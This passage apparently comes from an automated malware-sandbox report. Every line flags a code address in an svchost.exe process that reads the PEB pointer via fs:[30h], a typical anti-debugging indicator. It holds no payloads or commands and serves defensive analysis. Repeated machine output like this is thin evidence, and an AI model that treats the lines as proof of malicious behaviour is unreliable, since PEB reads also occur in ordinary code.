                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436154 mov eax, dword ptr fs:[00000030h]1_2_03436154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436154 mov eax, dword ptr fs:[00000030h]1_2_03436154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov eax, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov ecx, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov eax, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov eax, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov ecx, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov eax, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov eax, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov ecx, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov eax, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE10E mov ecx, dword ptr fs:[00000030h]1_2_034DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DA118 mov ecx, dword ptr fs:[00000030h]1_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DA118 mov eax, dword ptr fs:[00000030h]1_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DA118 mov eax, dword ptr fs:[00000030h]1_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DA118 mov eax, dword ptr fs:[00000030h]1_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F0115 mov eax, dword ptr fs:[00000030h]1_2_034F0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03460124 mov eax, dword ptr fs:[00000030h]1_2_03460124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F61C3 mov eax, dword ptr fs:[00000030h]1_2_034F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F61C3 mov eax, dword ptr fs:[00000030h]1_2_034F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE1D0 mov eax, dword ptr fs:[00000030h]1_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE1D0 mov eax, dword ptr fs:[00000030h]1_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE1D0 mov ecx, dword ptr fs:[00000030h]1_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE1D0 mov eax, dword ptr fs:[00000030h]1_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE1D0 mov eax, dword ptr fs:[00000030h]1_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_035061E5 mov eax, dword ptr fs:[00000030h]1_2_035061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034601F8 mov eax, dword ptr fs:[00000030h]1_2_034601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03470185 mov eax, dword ptr fs:[00000030h]1_2_03470185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EC188 mov eax, dword ptr fs:[00000030h]1_2_034EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EC188 mov eax, dword ptr fs:[00000030h]1_2_034EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D4180 mov eax, dword ptr fs:[00000030h]1_2_034D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D4180 mov eax, dword ptr fs:[00000030h]1_2_034D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B019F mov eax, dword ptr fs:[00000030h]1_2_034B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B019F mov eax, dword ptr fs:[00000030h]1_2_034B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B019F mov eax, dword ptr fs:[00000030h]1_2_034B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B019F mov eax, dword ptr fs:[00000030h]1_2_034B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342A197 mov eax, dword ptr fs:[00000030h]1_2_0342A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342A197 mov eax, dword ptr fs:[00000030h]1_2_0342A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342A197 mov eax, dword ptr fs:[00000030h]1_2_0342A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03432050 mov eax, dword ptr fs:[00000030h]1_2_03432050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B6050 mov eax, dword ptr fs:[00000030h]1_2_034B6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345C073 mov eax, dword ptr fs:[00000030h]1_2_0345C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B4000 mov ecx, dword ptr fs:[00000030h]1_2_034B4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D2000 mov eax, dword ptr fs:[00000030h]1_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D2000 mov eax, dword ptr fs:[00000030h]1_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D2000 mov eax, dword ptr fs:[00000030h]1_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D2000 mov eax, dword ptr fs:[00000030h]1_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D2000 mov eax, dword ptr fs:[00000030h]1_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D2000 mov eax, dword ptr fs:[00000030h]1_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D2000 mov eax, dword ptr fs:[00000030h]1_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D2000 mov eax, dword ptr fs:[00000030h]1_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E016 mov eax, dword ptr fs:[00000030h]1_2_0344E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E016 mov eax, dword ptr fs:[00000030h]1_2_0344E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E016 mov eax, dword ptr fs:[00000030h]1_2_0344E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E016 mov eax, dword ptr fs:[00000030h]1_2_0344E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342A020 mov eax, dword ptr fs:[00000030h]1_2_0342A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342C020 mov eax, dword ptr fs:[00000030h]1_2_0342C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C6030 mov eax, dword ptr fs:[00000030h]1_2_034C6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B20DE mov eax, dword ptr fs:[00000030h]1_2_034B20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342A0E3 mov ecx, dword ptr fs:[00000030h]1_2_0342A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034380E9 mov eax, dword ptr fs:[00000030h]1_2_034380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B60E0 mov eax, dword ptr fs:[00000030h]1_2_034B60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342C0F0 mov eax, dword ptr fs:[00000030h]1_2_0342C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034720F0 mov ecx, dword ptr fs:[00000030h]1_2_034720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343208A mov eax, dword ptr fs:[00000030h]1_2_0343208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C80A8 mov eax, dword ptr fs:[00000030h]1_2_034C80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F60B8 mov eax, dword ptr fs:[00000030h]1_2_034F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F60B8 mov ecx, dword ptr fs:[00000030h]1_2_034F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346674D mov esi, dword ptr fs:[00000030h]1_2_0346674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346674D mov eax, dword ptr fs:[00000030h]1_2_0346674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346674D mov eax, dword ptr fs:[00000030h]1_2_0346674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03430750 mov eax, dword ptr fs:[00000030h]1_2_03430750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BE75D mov eax, dword ptr fs:[00000030h]1_2_034BE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472750 mov eax, dword ptr fs:[00000030h]1_2_03472750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472750 mov eax, dword ptr fs:[00000030h]1_2_03472750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B4755 mov eax, dword ptr fs:[00000030h]1_2_034B4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03438770 mov eax, dword ptr fs:[00000030h]1_2_03438770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440770 mov eax, dword ptr fs:[00000030h]1_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346C700 mov eax, dword ptr fs:[00000030h]1_2_0346C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03430710 mov eax, dword ptr fs:[00000030h]1_2_03430710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03460710 mov eax, dword ptr fs:[00000030h]1_2_03460710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346C720 mov eax, dword ptr fs:[00000030h]1_2_0346C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346C720 mov eax, dword ptr fs:[00000030h]1_2_0346C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346273C mov eax, dword ptr fs:[00000030h]1_2_0346273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346273C mov ecx, dword ptr fs:[00000030h]1_2_0346273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346273C mov eax, dword ptr fs:[00000030h]1_2_0346273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AC730 mov eax, dword ptr fs:[00000030h]1_2_034AC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343C7C0 mov eax, dword ptr fs:[00000030h]1_2_0343C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B07C3 mov eax, dword ptr fs:[00000030h]1_2_034B07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034527ED mov eax, dword ptr fs:[00000030h]1_2_034527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034527ED mov eax, dword ptr fs:[00000030h]1_2_034527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034527ED mov eax, dword ptr fs:[00000030h]1_2_034527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BE7E1 mov eax, dword ptr fs:[00000030h]1_2_034BE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034347FB mov eax, dword ptr fs:[00000030h]1_2_034347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034347FB mov eax, dword ptr fs:[00000030h]1_2_034347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D678E mov eax, dword ptr fs:[00000030h]1_2_034D678E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034307AF mov eax, dword ptr fs:[00000030h]1_2_034307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E47A0 mov eax, dword ptr fs:[00000030h]1_2_034E47A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344C640 mov eax, dword ptr fs:[00000030h]1_2_0344C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F866E mov eax, dword ptr fs:[00000030h]1_2_034F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F866E mov eax, dword ptr fs:[00000030h]1_2_034F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A660 mov eax, dword ptr fs:[00000030h]1_2_0346A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A660 mov eax, dword ptr fs:[00000030h]1_2_0346A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03462674 mov eax, dword ptr fs:[00000030h]1_2_03462674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE609 mov eax, dword ptr fs:[00000030h]1_2_034AE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344260B mov eax, dword ptr fs:[00000030h]1_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344260B mov eax, dword ptr fs:[00000030h]1_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344260B mov eax, dword ptr fs:[00000030h]1_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344260B mov eax, dword ptr fs:[00000030h]1_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344260B mov eax, dword ptr fs:[00000030h]1_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344260B mov eax, dword ptr fs:[00000030h]1_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344260B mov eax, dword ptr fs:[00000030h]1_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472619 mov eax, dword ptr fs:[00000030h]1_2_03472619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E627 mov eax, dword ptr fs:[00000030h]1_2_0344E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03466620 mov eax, dword ptr fs:[00000030h]1_2_03466620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03468620 mov eax, dword ptr fs:[00000030h]1_2_03468620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343262C mov eax, dword ptr fs:[00000030h]1_2_0343262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A6C7 mov ebx, dword ptr fs:[00000030h]1_2_0346A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A6C7 mov eax, dword ptr fs:[00000030h]1_2_0346A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE6F2 mov eax, dword ptr fs:[00000030h]1_2_034AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE6F2 mov eax, dword ptr fs:[00000030h]1_2_034AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE6F2 mov eax, dword ptr fs:[00000030h]1_2_034AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE6F2 mov eax, dword ptr fs:[00000030h]1_2_034AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B06F1 mov eax, dword ptr fs:[00000030h]1_2_034B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B06F1 mov eax, dword ptr fs:[00000030h]1_2_034B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03434690 mov eax, dword ptr fs:[00000030h]1_2_03434690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03434690 mov eax, dword ptr fs:[00000030h]1_2_03434690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346C6A6 mov eax, dword ptr fs:[00000030h]1_2_0346C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034666B0 mov eax, dword ptr fs:[00000030h]1_2_034666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03438550 mov eax, dword ptr fs:[00000030h]1_2_03438550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03438550 mov eax, dword ptr fs:[00000030h]1_2_03438550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346656A mov eax, dword ptr fs:[00000030h]1_2_0346656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346656A mov eax, dword ptr fs:[00000030h]1_2_0346656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346656A mov eax, dword ptr fs:[00000030h]1_2_0346656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C6500 mov eax, dword ptr fs:[00000030h]1_2_034C6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03504500 mov eax, dword ptr fs:[00000030h]1_2_03504500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03504500 mov eax, dword ptr fs:[00000030h]1_2_03504500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03504500 mov eax, dword ptr fs:[00000030h]1_2_03504500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03504500 mov eax, dword ptr fs:[00000030h]1_2_03504500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03504500 mov eax, dword ptr fs:[00000030h]1_2_03504500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03504500 mov eax, dword ptr fs:[00000030h]1_2_03504500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03504500 mov eax, dword ptr fs:[00000030h]1_2_03504500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440535 mov eax, dword ptr fs:[00000030h]1_2_03440535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440535 mov eax, dword ptr fs:[00000030h]1_2_03440535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440535 mov eax, dword ptr fs:[00000030h]1_2_03440535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440535 mov eax, dword ptr fs:[00000030h]1_2_03440535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440535 mov eax, dword ptr fs:[00000030h]1_2_03440535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440535 mov eax, dword ptr fs:[00000030h]1_2_03440535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E53E mov eax, dword ptr fs:[00000030h]1_2_0345E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E53E mov eax, dword ptr fs:[00000030h]1_2_0345E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E53E mov eax, dword ptr fs:[00000030h]1_2_0345E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E53E mov eax, dword ptr fs:[00000030h]1_2_0345E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E53E mov eax, dword ptr fs:[00000030h]1_2_0345E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E5CF mov eax, dword ptr fs:[00000030h]1_2_0346E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E5CF mov eax, dword ptr fs:[00000030h]1_2_0346E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034365D0 mov eax, dword ptr fs:[00000030h]1_2_034365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A5D0 mov eax, dword ptr fs:[00000030h]1_2_0346A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A5D0 mov eax, dword ptr fs:[00000030h]1_2_0346A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E5E7 mov eax, dword ptr fs:[00000030h]1_2_0345E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E5E7 mov eax, dword ptr fs:[00000030h]1_2_0345E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E5E7 mov eax, dword ptr fs:[00000030h]1_2_0345E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E5E7 mov eax, dword ptr fs:[00000030h]1_2_0345E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E5E7 mov eax, dword ptr fs:[00000030h]1_2_0345E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E5E7 mov eax, dword ptr fs:[00000030h]1_2_0345E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E5E7 mov eax, dword ptr fs:[00000030h]1_2_0345E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E5E7 mov eax, dword ptr fs:[00000030h]1_2_0345E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034325E0 mov eax, dword ptr fs:[00000030h]1_2_034325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346C5ED mov eax, dword ptr fs:[00000030h]1_2_0346C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346C5ED mov eax, dword ptr fs:[00000030h]1_2_0346C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03432582 mov eax, dword ptr fs:[00000030h]1_2_03432582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03432582 mov ecx, dword ptr fs:[00000030h]1_2_03432582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03464588 mov eax, dword ptr fs:[00000030h]1_2_03464588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E59C mov eax, dword ptr fs:[00000030h]1_2_0346E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B05A7 mov eax, dword ptr fs:[00000030h]1_2_034B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B05A7 mov eax, dword ptr fs:[00000030h]1_2_034B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B05A7 mov eax, dword ptr fs:[00000030h]1_2_034B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034545B1 mov eax, dword ptr fs:[00000030h]1_2_034545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034545B1 mov eax, dword ptr fs:[00000030h]1_2_034545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E443 mov eax, dword ptr fs:[00000030h]1_2_0346E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E443 mov eax, dword ptr fs:[00000030h]1_2_0346E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E443 mov eax, dword ptr fs:[00000030h]1_2_0346E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E443 mov eax, dword ptr fs:[00000030h]1_2_0346E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E443 mov eax, dword ptr fs:[00000030h]1_2_0346E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E443 mov eax, dword ptr fs:[00000030h]1_2_0346E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E443 mov eax, dword ptr fs:[00000030h]1_2_0346E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E443 mov eax, dword ptr fs:[00000030h]1_2_0346E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EA456 mov eax, dword ptr fs:[00000030h]1_2_034EA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342645D mov eax, dword ptr fs:[00000030h]1_2_0342645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345245A mov eax, dword ptr fs:[00000030h]1_2_0345245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BC460 mov ecx, dword ptr fs:[00000030h]1_2_034BC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345A470 mov eax, dword ptr fs:[00000030h]1_2_0345A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345A470 mov eax, dword ptr fs:[00000030h]1_2_0345A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345A470 mov eax, dword ptr fs:[00000030h]1_2_0345A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342E420 mov eax, dword ptr fs:[00000030h]1_2_0342E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342E420 mov eax, dword ptr fs:[00000030h]1_2_0342E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342E420 mov eax, dword ptr fs:[00000030h]1_2_0342E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342C427 mov eax, dword ptr fs:[00000030h]1_2_0342C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B6420 mov eax, dword ptr fs:[00000030h]1_2_034B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B6420 mov eax, dword ptr fs:[00000030h]1_2_034B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B6420 mov eax, dword ptr fs:[00000030h]1_2_034B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B6420 mov eax, dword ptr fs:[00000030h]1_2_034B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B6420 mov eax, dword ptr fs:[00000030h]1_2_034B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B6420 mov eax, dword ptr fs:[00000030h]1_2_034B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B6420 mov eax, dword ptr fs:[00000030h]1_2_034B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034304E5 mov ecx, dword ptr fs:[00000030h]1_2_034304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EA49A mov eax, dword ptr fs:[00000030h]1_2_034EA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034364AB mov eax, dword ptr fs:[00000030h]1_2_034364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034644B0 mov ecx, dword ptr fs:[00000030h]1_2_034644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BA4B0 mov eax, dword ptr fs:[00000030h]1_2_034BA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E4B4B mov eax, dword ptr fs:[00000030h]1_2_034E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E4B4B mov eax, dword ptr fs:[00000030h]1_2_034E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C6B40 mov eax, dword ptr fs:[00000030h]1_2_034C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C6B40 mov eax, dword ptr fs:[00000030h]1_2_034C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FAB40 mov eax, dword ptr fs:[00000030h]1_2_034FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D8B42 mov eax, dword ptr fs:[00000030h]1_2_034D8B42
